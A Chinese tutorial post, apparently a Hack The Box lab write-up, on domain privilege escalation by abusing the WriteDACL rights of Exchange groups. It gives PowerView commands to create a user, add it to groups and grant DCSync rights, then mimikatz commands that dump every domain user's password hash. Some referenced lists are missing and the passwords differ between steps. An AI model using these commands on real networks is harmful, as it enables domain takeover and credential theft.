前言
在域环境中安装Exchange后,系统会自动添加三个特定的安全组:Microsoft Exchange Security Groups、Exchange Trusted Subsystem和Exchange Windows Permission。如果能够控制这些组中的任何一个用户,就能继承该组的WriteDACL权限。通过WriteDACL权限,用户可以修改域对象的访问控制列表(ACL),最终利用DCSync功能导出域内所有用户的哈希值。
需要获取以下三个组中任意一个组的用户控制权:
实验1:通过bloodhound分析得到如下图所示的结果

从上图中可以清楚地看到,用户所属的组对EXCHANGE WINDOWS PERMISSIONS组拥有所有权限,而EXCHANGE WINDOWS PERMISSIONS组对域具有writedacl权限。因此可以通过域渗透——利用Exchange服务器中特定的ACL来实现域提权的思路。通过DCSync进行提权,EXCHANGE WINDOWS PERMISSIONS组内的用户可以对任意用户修改ACL权限。
2、创建用户
$UserPassword = ConvertTo-SecureString '123456qazwsx' -AsPlainText -Force New-DomainUser -SamAccountName one -Description 'This is one' -AccountPassword $UserPassword
修改用户密码:
Set-DomainUserPassword -Identity harmj0y2 -AccountPassword $UserPassword
3、将新建用户加入到EXCHANGE WINDOWS PERMISSIONS组,并允许远程登录
Add-DomainGroupMember -Identity 'EXCHANGE WINDOWS PERMISSIONS' -Members 'one' Add-DomainGroupMember -Identity 'Remote Management Users' -Members 'one'
4、使用one用户通过winrm_shell.rb进行远程登录
require 'winrm' conn = WinRM::Connection.new( endpoint: 'http://10.10.10.161:5985/wsman', user: 'htb.local\one', password: '1234qwer', )
5、利用DCSync导出哈希
one用户可以对自己添加三条ACE(访问控制条目),从而获得DCSync导出的权限。通常,如果获得了以下三个组中任意一个用户的权限,都可以利用DCSync导出域内所有用户的哈希。组名如下:
向域内的一个普通用户添加如下三条ACE:
该用户即可获得利用DCSync导出域内所有用户哈希的权限。
6、添加ACE的命令如下:
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity one -Rights DCSync -Verbose
7、再次退出并重新登录
(1)导出administrator的哈希
mimikatz.exe privilege::debug "lsadump::dcsync /domain:htb.local /user:administrator /csv" exit

(2)通过以下命令导出所有用户哈希
mimikatz.exe privilege::debug "lsadump::dcsync /domain:htb.local /all /csv" exit



以上就是投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号